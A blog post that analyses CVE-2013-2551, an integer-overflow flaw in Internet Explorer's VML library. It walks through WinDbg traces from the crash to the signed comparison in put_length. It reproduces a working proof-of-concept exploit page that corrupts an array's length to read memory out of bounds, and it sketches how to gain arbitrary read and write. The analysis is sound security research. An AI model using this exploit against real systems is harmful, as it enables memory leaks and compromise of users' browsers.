Analysis on CVE-2013-2551

Introduction

This vulnerability is an integer overflow vulnerability, which involves a signed comparison between a signed integer and an unsigned integer and results in out-of-bound read. The analysis on root cause has already been available online [2][3]. But these talk few about how they locate the root cause in the binary starting from zero knowledge. In this post, I hope to log how I locate the root cause of the vulnerability starting from the crash. Therefore, the post may look tedious but I will try to demonstrate every step I take in my analysis.

Crash Analysis

Since the poc code given by vupen is now unaccessible, we give the poc code below with some minor modification.

<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>
POC by VUPEN
</title>
<style>v\: * { behavior:url(#default#VML); display:inline-block }</style>

<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />

<body onload="createRects(); exploit();">
<v:oval style="width:100pt;height:50pt" fillcolor="red"></v:oval>
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body>

<script>

var rect_array = new Array()
var a = new Array()

function createRects(){
  for(var i=0; i<0x400; i++){
    rect_array[i]    = document.createElement("v:shape")
    rect_array[i].id = "rect" + i.toString()
    document.body.appendChild(rect_array[i])
  }
}

function exploit(){

  var vml1  = document.getElementById("vml1")

  for (var i=0; i<0x400; i++){
    a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
  }

  for (var i=0; i<0x400; i++){
    a[i].rotation;
    if (i == 0x300) {
      vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
    }
  }

  var length_orig = vml1.dashstyle.array.length;
  vml1.dashstyle.array.length = 0 - 1;   

  for (var i=0; i<0x400; i++)   {     a[i].marginLeft = "a";                                                                        marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);          if (marginLeftAddress > 0) {
      vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300;
      var leak = a[i].marginLeft;
      vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress;
      vml1.dashstyle.array.length = length_orig;
      alert( parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 ).toString(16));
      return;
    }
  }

}
</script>
</html>

And the crash site (enabled with pageheap) is given below

(a90.dd0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=1ac43064 ebx=1de5aff0 ecx=00000001 edx=00000000 esi=1ac43060 edi=04a0b47c
eip=75499966 esp=04a0b430 ebp=04a0b438 iopl=0         nv up ei ng nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210297
msvcrt!memcpy+0x158:
75499966 8b448efc        mov     eax,dword ptr [esi+ecx*4-4] ds:0023:1ac43060=????????
0:007> k
ChildEBP RetAddr
04a0b438 6adec491 msvcrt!memcpy+0x158
04a0b44c 6ae3b72d vgx!ORG::Get+0x28
04a0b480 76be3e75 vgx!COALineDashStyleArray::get_item+0x77
04a0b4a0 76be3cef OLEAUT32!DispCallFunc+0x165
04a0b530 6ae1e491 OLEAUT32!CTypeInfo2::Invoke+0x23f

04a0b430  1dc4af28
04a0b434  00000000
04a0b438  04a0b44c
04a0b43c  6adec491 vgx!ORG::Get+0x28
04a0b440  04a0b47c
04a0b444  1ac43060
04a0b448  00000004
04a0b44c  04a0b480
04a0b450  6ae3b72d vgx!COALineDashStyleArray::get_item+0x77

Crash site analysis

So let’s locate the crash code in the binary. The crash takes place in memcpy in ORG::Get. Since it’s on X86 system, let’t view the variables on the stack.

2016101701

0:007> dds 1dc4af28 L4   // read this value by referencing 04a0b47c
1dc4af28  6ade0b5c vgx!COAShapeProg::`vftable'
1dc4af2c  00000009
1dc4af30  08ba2ff0
1dc4af34  00000000

0:007> dds 1ac43060 L4
1ac43060  ????????
1ac43064  ????????
1ac43068  ????????
1ac4306c  ????????

Therefore, it means that the second variable passed to ORG::Get is an invalid address.\

1ac42f40  00 00 00 00 00 00 00 00-24 0f 19 01 bb bb ba dc  ........$.......
1ac42f50  01 00 00 00 02 00 00 00-03 00 00 00 04 00 00 00  ................
1ac42f60  05 00 00 00 06 00 00 00-07 00 00 00 08 00 00 00  ................
1ac42f70  09 00 00 00 0a 00 00 00-0b 00 00 00 0c 00 00 00  ................
1ac42f80  0d 00 00 00 0e 00 00 00-0f 00 00 00 10 00 00 00  ................
1ac42f90  11 00 00 00 12 00 00 00-13 00 00 00 14 00 00 00  ................
1ac42fa0  15 00 00 00 16 00 00 00-17 00 00 00 18 00 00 00  ................
1ac42fb0  19 00 00 00 1a 00 00 00-1b 00 00 00 1c 00 00 00  ................
1ac42fc0  1d 00 00 00 1e 00 00 00-1f 00 00 00 20 00 00 00  ............ ...
1ac42fd0  21 00 00 00 22 00 00 00-23 00 00 00 24 00 00 00  !..."...#...$...
1ac42fe0  25 00 00 00 26 00 00 00-27 00 00 00 28 00 00 00  %...&...'...(...
1ac42ff0  29 00 00 00 2a 00 00 00-2b 00 00 00 2c 00 00 00  )...*...+...,...
1ac43000  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
1ac43010  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
1ac43020  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????

At present, we can only get to know that the second parameter was corrupted somewhere somehow. So next we need to get the root cause of the crash. First of all, let’s see how ORG::Get is invoked via setting breakpoint.

0:007> bp vgx!ORG::Get 

vgx!ORG::Get:
6adec469 8bff            mov     edi,edi

And the stack layout for functions:
ORG::Get
0491b3f0  6ae3b72d vgx!COALineDashStyleArray::get_item+0x77
0491b3f4  1d658fe8
0491b3f8  0491b41c
0491b3fc  00000044
//******************* some other stack data.
COALineDashStyleArray::get_item
0491b424  76be3e75 OLEAUT32!DispCallFunc+0x165
0491b428  1d658fe8
0491b42c  00000044
0491b430  0491b484

0:007> dds 1d658fe8 L6
1d658fe8  6addca10 vgx!ORG::`vftable'
1d658fec  002cffff
1d658ff0  00040004
1d658ff4  00000101
1d658ff8  1a346f50
1d658ffc  d0d0d0d0

Running After the Rat

We observe that COALineDashStyleArray::get_item will call ORG:Get. So we go through the COALineDashStyleArray::get_item to get a deep knowledge via debugging. Since COALineDashStyleArray::get_item is a huge function, we will only pick three parts of the function (three pictures below) to demonstrate.

2016101801
FIGURE1 COALineDashStyleArray::get_item
0:007> t
eax=6ade0b5c ebx=0855bc60 ecx=0855f2c8 edx=0398b0ba esi=0855f2c8 edi=02b9b774
eip=6ae3b6cb esp=02b9b400 ebp=02b9b420 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200216
vgx!COALineDashStyleArray::get_item+0x15:
6ae3b6cb ff5020          call    dword ptr [eax+20h]  ds:0023:6ade0b7c={vgx!COAProg::CheckProg (6ae1e728)}

0:007> dds ecx L4
0855f2c8  6ade0b5c vgx!COAShapeProg::`vftable'
0855f2cc  00000009
0855f2d0  02089590
0855f2d4  00000000

0:007> t
eax=00000000 ebx=0855bc60 ecx=02088ce8 edx=0398b0ba esi=0855f2c8 edi=02b9b774
eip=6ae3b6ce esp=02b9b400 ebp=02b9b420 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
vgx!COALineDashStyleArray::get_item+0x18:
6ae3b6ce 8bf8            mov     edi,eax
2016101802
FIGURE2 COALineDashStyleArray::get_item
0:007> t
eax=02088cb0 ebx=0855bc60 ecx=02088cb0 edx=0398b0ba esi=0855f2c8 edi=00000000
eip=6ae3b6f1 esp=02b9b400 ebp=02b9b420 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
vgx!COALineDashStyleArray::get_item+0x3b:
6ae3b6f1 8d5508          lea     edx,[ebp+8]
0:007> dds eax L1
02088cb0  6addfda4 vgx!CVMLShape::`vftable'

0:007> t
eax=02088cb0 ebx=0855bc60 ecx=02088cb0 edx=02b9b428 esi=0855f2c8 edi=00000000
eip=6ae3b6f4 esp=02b9b400 ebp=02b9b420 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
vgx!COALineDashStyleArray::get_item+0x3e:
6ae3b6f4 8d4830          lea     ecx,[eax+30h]
0:007> t
eax=02088cb0 ebx=0855bc60 ecx=02088ce0 edx=02b9b428 esi=0855f2c8 edi=00000000
eip=6ae3b6f7 esp=02b9b400 ebp=02b9b420 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
vgx!COALineDashStyleArray::get_item+0x41:
6ae3b6f7 8b01            mov     eax,dword ptr [ecx]  ds:0023:02088ce0={vgx!CVMLBackground::`vftable' (6addfc54)}
0:007> t
eax=6addfc54 ebx=0855bc60 ecx=02088ce0 edx=02b9b428 esi=0855f2c8 edi=00000000
eip=6ae3b6f9 esp=02b9b400 ebp=02b9b420 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
vgx!COALineDashStyleArray::get_item+0x43:
6ae3b6f9 52              push    edx
0:007> t
eax=6addfc54 ebx=0855bc60 ecx=02088ce0 edx=02b9b428 esi=0855f2c8 edi=00000000
eip=6ae3b6fa esp=02b9b3fc ebp=02b9b420 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
vgx!COALineDashStyleArray::get_item+0x44:
6ae3b6fa 68cf010000      push    1CFh
0:007> t
eax=6addfc54 ebx=0855bc60 ecx=02088ce0 edx=02b9b428 esi=0855f2c8 edi=00000000
eip=6ae3b6ff esp=02b9b3f8 ebp=02b9b420 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
vgx!COALineDashStyleArray::get_item+0x49:
6ae3b6ff ff10            call    dword ptr [eax]      ds:0023:6addfc54={vgx!CVMLShape::FetchProp (6ae48847)}

0:007> p
eax=08557488 ebx=0855bc60 ecx=02b9b428 edx=020847a8 esi=0855f2c8 edi=00000000
eip=6ae3b701 esp=02b9b400 ebp=02b9b420 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
vgx!COALineDashStyleArray::get_item+0x4b:
6ae3b701 8b4d08          mov     ecx,dword ptr [ebp+8] ss:0023:02b9b428=08557488
0:007> dds 02b9b428 L1
02b9b428  08557488
0:007> dds 08557488 L1
08557488  6addca10 vgx!ORG::`vftable'
2016101803
FIGURE3 COALineDashStyleArray::get_item
0:007> p
eax=6addca10 ebx=0855bc60 ecx=08557488 edx=020847a8 esi=0855f2c8 edi=00000000
eip=6ae3b711 esp=02b9b3fc ebp=02b9b420 iopl=0         nv up ei pl nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200213
vgx!COALineDashStyleArray::get_item+0x5b:
6ae3b711 ff502c          call    dword ptr [eax+2Ch]  ds:0023:6addca3c={vgx!ORG::CElements (6adec560)}
0:007> dds ecx L2
08557488  6addca10 vgx!ORG::`vftable'
0855748c  002cffff
0:007> p
eax=0000ffff ebx=0855bc60 ecx=08557488 edx=020847a8 esi=0855f2c8 edi=00000000
eip=6ae3b714 esp=02b9b400 ebp=02b9b420 iopl=0         nv up ei pl nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200213
vgx!COALineDashStyleArray::get_item+0x5e:
6ae3b714 39450c          cmp     dword ptr [ebp+0Ch],eax ss:0023:02b9b42c=00000044

eax=08557488 ebx=0855bc60 ecx=6addca10 edx=02b9b41c esi=0855f2c8 edi=00000000
eip=6ae3b72a esp=02b9b3f4 ebp=02b9b420 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
vgx!COALineDashStyleArray::get_item+0x74:
6ae3b72a ff511c          call    dword ptr [ecx+1Ch]  ds:0023:6addca2c={vgx!ORG::Get (6adec469)}
0:007> dd esp L4
02b9b3f4  08557488 02b9b41c 00000044 02b9b774
0:007> dd eax L8
08557488  6addca10 002c[ffff] 00040004 00000101  //look here!! the value is 0xffff
08557498  08583ba8 00000000 458855f8 80000000

After reaching this point, we find that an ORG object is saved at 0x8557488. From the content of the object, we find that the metadata of this object has been corrupted to 0xffff. The length check before vgx!ORG::Get fails. The maximum capacity of the buffer was changed to 0xffff. In the following analysis, we need to figure out how the capacity was modified.

Root Cause Analysis

It seems that we come to a dead end that we cannot find out when the metadata was corrupted to 0xffff. So I figure out an alternative method to get around that. First of all, I set the breakpoint at the constructor function of ORG object. Then I set a hardware access breakpoint to locate the instruction that corrupts the metadata. Via searching the reference to virtual function table of ORG object, we locate two potential function in VGX.dll. One is vgx!MsoFCreateArray and the other is vgx!ORG::FDuplicate.

vgx!MsoFCreateArray:
6adec74d 8bff            mov     edi,edi
6adec74f 55              push    ebp
6adec750 8bec            mov     ebp,esp
6adec752 56              push    esi
6adec753 6a14            push    14h
6adec755 e886d6ffff      call    vgx!operator new (6ade9de0)
6adec75a 8bf0            mov     esi,eax
6adec75c 59              pop     ecx
6adec75d 85f6            test    esi,esi
6adec75f 7408            je      vgx!MsoFCreateArray+0x1c (6adec769)
6adec761 c70610cadd6a    mov     dword ptr [esi],offset vgx!ORG::`vftable' (6addca10) //The reference to vftable of ORG

After setting break point for both functions, the output is as following. And the victim ORG object is created by the function call vgx!MsoFCreateArray at the fourth time.\

0:007> bp vgx!MsoFCreateArray+0x14 "r esi; g;"
0:007> bp vgx!ORG::FDuplicate+0x14 "r ebx; g;"
0:007> bp vgx!COALineDashStyleArray::get_item+0x74
0:007> g
esi=01b15308
esi=01b063d0
esi=01b063f0
esi=07ee7488

eax=07ee7488 ebx=07eebc60 ecx=6addca10 edx=0275b7bc esi=07eef1e8 edi=00000000
eip=6ae3b72a esp=0275b794 ebp=0275b7c0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
vgx!COALineDashStyleArray::get_item+0x74:
6ae3b72a ff511c          call    dword ptr [ecx+1Ch]  ds:0023:6addca2c={vgx!ORG::Get (6adec469)}

By setting breakpoint at the fourth hit on the function vgx!MsoFCreateArray, we check the callstack.\

0:007> bp vgx!MsoFCreateArray 4
0:007> g
Breakpoint 0 hit
eax=034ab0d4 ebx=034ab0db ecx=00000000 edx=00000001 esi=034ab140 edi=034ab13c
eip=6cccc74d esp=034ab0a8 ebp=034ab0b8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
vgx!MsoFCreateArray:
6cccc74d 8bff            mov     edi,edi

0:007> k L8
ChildEBP RetAddr
034ab0a4 6cd364a9 vgx!MsoFCreateArray+0xd
034ab0b8 6cd36545 vgx!VGPIE5array::FAddElement+0x17
034ab128 6cd0708c vgx!VGPIE5DwordArray::Text+0x5b
034ab148 6cd08d5d vgx!GetArrayVal+0x90
034ab15c 6cd1b3be vgx!ParseDashStyle+0x1d
034ab194 76be3e75 vgx!COALineDashStyle::put_value+0x88
034ab1b0 76be3cef OLEAUT32!DispCallFunc+0x165
034ab240 6ccfe491 OLEAUT32!CTypeInfo2::Invoke+0x23f

Taking a further step, we set a hardware access breakpoint at ORG+0x4, we try to watch when the metadata was changed to 0xffff.

0:007> g; d 08b6bf00 L8;
Breakpoint 1 hit
08b6bf00  10 ca c0 6c ff ff 2c 00                          ...l..,.
0:007> dds 08b6bf00
08b6bf00  6cc0ca10 vgx!ORG::`vftable'
08b6bf04  002cffff
08b6bf08  00040004

0:007> k
ChildEBP RetAddr
0334b280 6cc560c9 vgx!MsoFRemovePx+0xaf
0334b298 6cc1c460 vgx!MsoDeletePx+0x15
0334b2ac 6cc6b8b9 vgx!ORG::DeleteRange+0x17
0334b2dc 76be3e75 vgx!COALineDashStyleArray::put_length+0xc2
0334b2f8 76be3cef OLEAUT32!DispCallFunc+0x165
0334b388 6cc4e491 OLEAUT32!CTypeInfo2::Invoke+0x23f

After some manual analysis, I finally turn my focus to vgx!COALineDashStyleArray::put_length

0:007> bp vgx!COALineDashStyleArray::put_length
0:007> g
Breakpoint 0 hit
eax=0000000a ebx=6bfb0e90 ecx=6c00b7f7 edx=03c7ac5a esi=0378b710 edi=0378b44c
eip=6c00b7f7 esp=0378b400 ebp=0378b418 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
vgx!COALineDashStyleArray::put_length:
6c00b7f7 8bff            mov     edi,edi

0:007> dd esp L4
0378b400  76be3e75 08b306d8 ffffffff 03c7ac14

0:007> dds 08b306d8 L4
08b306d8  6bfb0e90 vgx!COALineDashStyleArray::`vftable'
08b306dc  08b33c60
08b306e0  00000003
08b306e4  00000000

Similar to our analysis on COALineDashStyleArray::get_item, we split the function into three parts (three pictures below).

2016101805
FIGURE1 vgx!COALineDashStyleArray::put_length
0:007> p
eax=6bfb0b5c ebx=08b306d8 ecx=08b33c60 edx=03c7ac5a esi=08b33c60 edi=0378b44c
eip=6c00b80c esp=0378b3e0 ebp=0378b3fc iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
vgx!COALineDashStyleArray::put_length+0x15:
6c00b80c ff5020          call    dword ptr [eax+20h]  ds:0023:6bfb0b7c={vgx!COAProg::CheckProg (6bfee728)}

0:007> p
eax=00000000 ebx=08b306d8 ecx=029ea5d0 edx=03c7ac5a esi=08b33c60 edi=0378b44c
eip=6c00b80f esp=0378b3e0 ebp=0378b3fc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
vgx!COALineDashStyleArray::put_length+0x18:
6c00b80f 8bf8            mov     edi,eax
2016101806
FIGURE2 vgx!COALineDashStyleArray::put_length
0:007> p
eax=08b33c60 ebx=08b306d8 ecx=029ea5d0 edx=03c7ac5a esi=08b33c60 edi=00000000
eip=6c00b831 esp=0378b3e0 ebp=0378b3fc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
vgx!COALineDashStyleArray::put_length+0x3a:
6c00b831 e8e219ffff      call    vgx!COAShapeProg::GetShape (6bffd218)
0:007> p
eax=029ea598 ebx=08b306d8 ecx=029ea598 edx=03c7ac5a esi=08b33c60 edi=00000000
eip=6c00b836 esp=0378b3e0 ebp=0378b3fc iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
vgx!COALineDashStyleArray::put_length+0x3f:
6c00b836 8d5508          lea     edx,[ebp+8]

0:007> dds 029ea598 L4
029ea598  6bfafda4 vgx!CVMLShape::`vftable'
029ea59c  6bfafbc0 vgx!CVMLBackground::`vftable'
029ea5a0  00000000
029ea5a4  00000000

0:007> p
eax=6bfafc54 ebx=08b306d8 ecx=029ea5c8 edx=0378b404 esi=08b33c60 edi=00000000
eip=6c00b844 esp=0378b3d8 ebp=0378b3fc iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
vgx!COALineDashStyleArray::put_length+0x4d:
6c00b844 ff10            call    dword ptr [eax]      ds:0023:6bfafc54={vgx!CVMLShape::FetchProp (6c018847)}

0:007> p
eax=08b2bf00 ebx=08b306d8 ecx=0378b404 edx=029c4710 esi=08b33c60 edi=00000000
eip=6c00b846 esp=0378b3e0 ebp=0378b3fc iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
vgx!COALineDashStyleArray::put_length+0x4f:
6c00b846 8b4d08          mov     ecx,dword ptr [ebp+8] ss:0023:0378b404=08b2bf00
0:007> dds 08b2bf00 L4
08b2bf00  6bfaca10 vgx!ORG::`vftable'
08b2bf04  002c002c // <=== At this point, the metadata is still good
08b2bf08  00040004
08b2bf0c  00000101
2016101807
FIGURE3 vgx!COALineDashStyleArray::put_length
0:007> p
eax=08b2bf00 ebx=08b306d8 ecx=08b2bf00 edx=029c4710 esi=08b33c60 edi=00000000
eip=6c00b84d esp=0378b3e0 ebp=0378b3fc iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
vgx!COALineDashStyleArray::put_length+0x56:
6c00b84d 8b01            mov     eax,dword ptr [ecx]  ds:0023:08b2bf00={vgx!ORG::`vftable' (6bfaca10)}
0:007> p
eax=6bfaca10 ebx=08b306d8 ecx=08b2bf00 edx=029c4710 esi=08b33c60 edi=00000000
eip=6c00b84f esp=0378b3e0 ebp=0378b3fc iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
vgx!COALineDashStyleArray::put_length+0x58:
6c00b84f 51              push    ecx
0:007> p
eax=6bfaca10 ebx=08b306d8 ecx=08b2bf00 edx=029c4710 esi=08b33c60 edi=00000000
eip=6c00b850 esp=0378b3dc ebp=0378b3fc iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
vgx!COALineDashStyleArray::put_length+0x59:
6c00b850 ff502c          call    dword ptr [eax+2Ch]  ds:0023:6bfaca3c={vgx!ORG::CElements (6bfbc560)}
0:007> p
eax=0000002c ebx=08b306d8 ecx=08b2bf00 edx=029c4710 esi=08b33c60 edi=00000000
eip=6c00b853 esp=0378b3e0 ebp=0378b3fc iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
vgx!COALineDashStyleArray::put_length+0x5c:
6c00b853 8b750c          mov     esi,dword ptr [ebp+0Ch] ss:0023:0378b408=ffffffff
0:007> p
eax=0000002c ebx=08b306d8 ecx=08b2bf00 edx=029c4710 esi=ffffffff edi=00000000
eip=6c00b856 esp=0378b3e0 ebp=0378b3fc iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
vgx!COALineDashStyleArray::put_length+0x5f:
6c00b856 8bd0            mov     edx,eax
0:007> p
eax=0000002c ebx=08b306d8 ecx=08b2bf00 edx=0000002c esi=ffffffff edi=00000000
eip=6c00b858 esp=0378b3e0 ebp=0378b3fc iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
vgx!COALineDashStyleArray::put_length+0x61:
6c00b858 3bd6            cmp     edx,esi
0:007> p
eax=0000002c ebx=08b306d8 ecx=08b2bf00 edx=0000002c esi=ffffffff edi=00000000
eip=6c00b85a esp=0378b3e0 ebp=0378b3fc iopl=0         nv up ei pl nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200217
vgx!COALineDashStyleArray::put_length+0x63:
6c00b85a 7d50            jge     vgx!COALineDashStyleArray::put_length+0xb5 (6c00b8ac) [br=1]

Bingo! I think we have reached the root cause of the crash. We find that there is a signed comparison between $edx (0x2c) and $esi (0xffffffff) and the the conditional jump will be taken place. To give a more clear view on how this function works, I slightly modify the poc code given above as a demonstration.

// if set the length less than 44
// vml1.dashstyle.array.length = 12;  

0:007> bp vgx!COALineDashStyleArray::put_length+0x63
0:007> g
Breakpoint 0 hit
eax=0000002c ebx=085c06d8 ecx=085bbf00 edx=0000002c esi=[0000000c] edi=00000000
eip=6ae3b85a esp=02eab120 ebp=02eab13c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
vgx!COALineDashStyleArray::put_length+0x63:
6ae3b85a 7d50            jge     vgx!COALineDashStyleArray::put_length+0xb5 (6ae3b8ac) [br=1] 

// if set the length larger than 44
// vml1.dashstyle.array.length = 60;   

0:007> bp vgx!COALineDashStyleArray::put_length+0x63
0:007> g
Breakpoint 0 hit
eax=0000002c ebx=089406d8 ecx=0893bf00 edx=0000002c esi=[0000003c] edi=00000000
eip=6ae3b85a esp=0367b2a0 ebp=0367b2bc iopl=0         nv up ei ng nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200287
vgx!COALineDashStyleArray::put_length+0x63:
6ae3b85a 7d50            jge     vgx!COALineDashStyleArray::put_length+0xb5 (6ae3b8ac) [br=0]

So the logic of function is clear.
In the case that the target buffer is smaller than the source buffer

target buffer [            ]
source buffer [                 ]
call ORG::Delete(*this, desired_capacity, old_capacity - desired_capacity)

In the case that the target buffer is smaller than the source buffer

target buffer [            ]
source buffer [       ]
create a new Range containing all 0s
call ORG::FAppendRange(*this, new Range(), desired_capacity - old_capacity)

In ORG::Delete, the metadata has to be updated to the desired size after deleting the elements. So the metadata was corrupted in this step.

Exploit Analysis

The final exploit is done on IE 10(10.2.9200.16438). The final performance is to leak the data stored at 0x7ffe0340 as below:\
2017022001

Since the goal of this post is to demonstrate how to trace the root cause of a crash in the target binary. I will only give a brief view on how the exploit works. Keep in mind that we now gain the ability to do out-of-bound write.

0:016> bp VGX!COALineDashStyleArray::put_item
0:016> g
Breakpoint 0 hit
VGX!COALineDashStyleArray::put_item:
6ccfb75c 8bff            mov     edi,edi
0:007:x86> dd esp
03a0b754  77783e75 086785d0 00000044 7ffe0340
03a0b764  04aacb9c 03efd5a4 03a0b764 03a0b800
03a0b774  77783cef 086785d0 00000028 00000004
03a0b784  0000000a 00000002 04aacc0c 04aacbfc
03a0b794  03a0b7a4 6cd1caf8 00000000 03a0ba98
03a0b7a4  77770000 758366bc 006aa1f0 006504c8
03a0b7b4  03a0ba98 006aa1f0 00000060 00000000
03a0b7c4  03a0b7e0 77773ea3 006aa1f0 00000060

0:007:x86> bp 6ccfb7ce
0:007:x86> g
Breakpoint 1 hit
VGX!COALineDashStyleArray::put_item+0x72:
6ccfb7ce 8908            mov     dword ptr [eax],ecx  ds:002b:086a05c0=084d1374
0:007:x86> r
eax=086a05c0 ebx=086785d0 ecx=7ffe0340 edx=02dd58f0 esi=0867bc60 edi=00000000
eip=6ccfb7ce esp=03a0b734 ebp=03a0b750 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
VGX!COALineDashStyleArray::put_item+0x72:
6ccfb7ce 8908            mov     dword ptr [eax],ecx  ds:002b:086a05c0=084d1374

086a0500  00000015 00000016 00000017 00000018
086a0510  00000019 0000001a 0000001b 0000001c
086a0520  0000001d 0000001e 0000001f 00000020
086a0530  00000021 00000022 00000023 00000024
086a0540  00000025 00000026 00000027 00000028
086a0550  00000029 0000002a 0000002b 0000002c
086a0560  0ca18bf1 8c000000 01400018 00000000
086a0570  00000000 00000000 00000000 00000000
086a0580  00000000 00000000 00000000 00000000
086a0590  00000000 00000000 00000000 00000000
086a05a0  00000000 00000000 00000000 00000000
086a05b0  00000000 00000000 00000000 00000000
086a05c0  084d1374 00000000 00000000 00000000

0:007:x86> dd 084d1374
084d1374  00000061 00000000 00000000 0a85fcad
084d1384  80000000 00000287 00000000 00000000
084d1394  00000000 0a85fcae 8c000000 6a8cd208
084d13a4  006bb5a0 00000001 00000000 0a85fcab
084d13b4  8c000000 6a8cd070 006bb5a0 00000001
084d13c4  00000000 0a85fca4 88000000 00000008
084d13d4  00740073 0070006f 00000000 0a85fca1
084d13e4  80000000 000002d5 00000000 00000000

In VGX!COALineDashStyleArray::put_item, a data pointer 0x84d1374 was saved after our corrupted array. So our work is only to overwrite this pointer via the out-of-bound ability and somehow trigger VGX!COALineDashStyleArray::put_item to gain the ability of arbitrary read. We can also gain arbitrary write primitive via the same method.

Conclusion

Root cause analysis is always a tedious work. It’s more like a detective game that we have to try every possible ways to find some hint or evidence for moving forward. After collecting enough pieces of the puzzle, we can judge the suspect guilty.

Reference

[1]http://www.vupen.com/blog/20130522.Advanced_Exploitation_of_IE10_Windows8_Pwn2Own_2013.php
[2]http://www.cnblogs.com/Danny-Wei/p/3766432.html
[3]http://sironhide.is-programmer.com/posts/98160.html

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.